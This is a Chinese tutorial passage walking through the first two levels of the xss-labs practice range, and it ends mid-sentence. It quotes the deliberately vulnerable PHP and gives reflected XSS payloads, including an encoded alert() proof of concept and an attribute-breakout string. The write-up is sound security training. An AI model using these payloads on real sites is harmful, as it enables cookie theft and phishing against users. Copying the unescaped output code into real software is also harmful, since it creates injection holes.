XSS是一种发生在Web前端的漏洞,所以其危害的对象也主要是前端用户。 XSS漏洞可以用来进行钓鱼攻击、前端js挖矿、盗取用户cookie,甚至对主机进行远程控制。
安装
项目地址:https://gitee.com/Zcodetea/xss-labs
level
我们首先对核心代码进行分析
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>
通过GET
方法,将name
的值赋值为变量$srt
并将其直接输出。
即!如果name=<script>alert()</script>
时,将会把结果直接输出。
构造POC
http://192.168.123.240/level1.php?name=%3Cscript%3Ealert('bbskali.cn')%3C/script%3E
leve2
代码解读
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
我们对数据进行抓包分析
后台过滤了<>符号,对其进行了实体化。但是我们发现了另一个可搞的地方。input标签的value值,正是我们的输入内容,且没有过滤。
修改payload:"><script>alert()</script>
提前将input标签闭合,让